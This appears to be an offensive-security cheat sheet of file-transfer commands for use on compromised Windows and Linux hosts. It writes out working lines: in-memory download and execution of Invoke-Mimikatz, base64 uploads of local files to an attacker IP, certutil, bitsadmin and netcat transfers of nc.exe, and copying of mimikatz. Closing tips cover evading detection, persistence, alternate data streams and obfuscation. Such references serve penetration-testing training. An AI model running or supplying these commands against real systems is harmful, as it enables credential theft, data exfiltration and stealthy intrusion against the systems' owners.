File-transfer
PowerShell Commands
Download a File
Invoke-WebRequest https://<snip>/PowerView.ps1 -OutFile PowerView.ps1
Execute File in Memory
IEX (New-Object Net.WebClient).DownloadString('https://<snip>/Invoke-Mimikatz.ps1')
Upload a File
Invoke-WebRequest -Uri http://10.10.10.32:443 -Method POST -Body $b64
Download with Custom User-Agent
Invoke-WebRequest http://nc.exe -UserAgent [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome -OutFile "nc.exe"
Base64 Encoded Upload
$bytes = [System.IO.File]::ReadAllBytes("C:\Temp\file.txt") $b64 = [System.Convert]::ToBase64String($bytes) Invoke-WebRequest -Uri http://10.10.10.32/upload -Method POST -Body $b64
Windows Native Tools
Bitsadmin (Deprecated but Still Useful)
bitsadmin /transfer n http://10.10.10.32/nc.exe C:\Temp\nc.exe
Certutil (Native to Windows for Certificate Management)
certutil.exe -verifyctl -split -f http://10.10.10.32/nc.exe
Linux-Based Tools
Wget
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh
cURL
curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
Python HTTP File Download
import requests
response = requests.get('http://10.10.10.32/nc.exe')
with open('nc.exe', 'wb') as file:
file.write(response.content)
Other Methods
PHP File Download
php -r '$file = file_get_contents("https://<snip>/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'
SCP (Secure Copy Protocol) - Upload
scp C:\Temp\bloodhound.zip user@10.10.10.150:/tmp/bloodhound.zip
SCP - Download
scp user@target:/tmp/mimikatz.exe C:\Temp\mimikatz.exe
Netcat (Linux/Windows) Send File:
nc -lvp 4444 > received_file
Receive File:
nc <attacker-ip> 4444 < file_to_send
FTP Upload/Download (Interactive)
ftp 10.10.10.32
TFTP (Trivial File Transfer Protocol) Download:
tftp -i 10.10.10.32 GET nc.exe
Upload:
tftp -i 10.10.10.32 PUT nc.exe
SMB (Using SMBClient)
smbclient \\10.10.10.32\share -U username
put file.txt
get file.txt
Extra Tips
Bypass Restrictions: Consider using alternative ports, URL encoding, or modifying headers to bypass security restrictions.
Evasion Techniques: Use legitimate-looking User-Agents, filenames, or paths to evade detection.
Persistence: Combine these methods with scheduled tasks or registry modifications for persistence.
File Obfuscation: Encode files in Base64 to evade basic detection.
Alternate Data Streams (Windows):
type nc.exe > file.txt:stream
Compression & Encryption: Compress files using
zip
or7z
with a password.7z a -psecret -mhe protected.7z file.txt
Last updated